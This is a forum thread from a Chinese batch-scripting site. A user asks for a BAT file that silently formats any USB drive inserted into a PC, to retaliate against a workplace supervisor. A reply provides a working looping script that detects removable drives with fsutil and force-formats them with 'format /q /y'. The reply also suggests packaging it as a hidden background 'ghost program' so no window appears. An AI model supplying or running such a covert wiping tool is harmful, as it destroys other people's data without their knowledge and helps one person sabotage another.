找回密码
 注册
搜索
[新手上路]批处理新手入门导读[视频教程]批处理基础视频教程[视频教程]VBS基础视频教程[批处理精品]批处理版照片整理器
[批处理精品]纯批处理备份&还原驱动[批处理精品]CMD命令50条不能说的秘密[在线下载]第三方命令行工具[在线帮助]VBScript / JScript 在线参考
查看: 25322|回复: 2

[系统相关] 批处理如何实现检测是否插入U盘并对U盘进行格式化

[复制链接]
发表于 2009-6-27 16:58:33 | 显示全部楼层 |阅读模式
本帖最后由 pcl_test 于 2016-10-16 22:49 编辑

单位有个很小很小的头目,老是从网上下些东西来放到别人机上干扰工作,如屏保、女人图片等等。
我想请这里的人,做一个符合我要求的BAT文件来制裁这类心态不正的人。


只要电脑开着,不作任何动作,当U盘插入电脑时,立即启动存在于硬盘里的BAT文件,格式化插入的U盘,不管从那个口插入都一样格它没商量。
附多一个机主能控制不让其启动的文件。
先谢。
发表于 2009-6-28 01:15:54 | 显示全部楼层
  1. @echo off
  2. color 1f
  3. :loop
  4. for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
  5. for /f "tokens=1 delims=: " %%j in (1.txt) do format /x /q %%j:/y
  6. del 1.txt
  7. goto loop
复制代码
刚学批处理,只能做成这样了。这个是要一直开着,只要有U盘插入的话就会被格式化。你说的,U盘插入再启动。。我是不会了。
批处理做好后,用工具做成可执行的幽灵程序,就可以没有CMD窗口出现而在后台运行了。

[ 本帖最后由 liaobiaoxing 于 2009-6-28 01:47 编辑 ]
 楼主| 发表于 2009-6-28 10:18:16 | 显示全部楼层
原帖由 liaobiaoxing 于 2009-6-28 01:15 发表
@echo off
color 1f
:loop
for %%i in (c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do fsutil fsinfo drivetype %%i:|find "可移动">>1.txt
for /f "tokens=1 delims=: " %%j in (1.txt) do format /x / ...

这个没用,达不到要求。不过,也得谢谢你的努力和热心。。。
您需要登录后才可以回帖 登录 | 注册

本版积分规则

Archiver|手机版|小黑屋|批处理之家 ( 渝ICP备10000708号 )

GMT+8, 2026-3-20 19:54 , Processed in 0.029029 second(s), 17 queries .

Powered by Discuz! X3.5

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表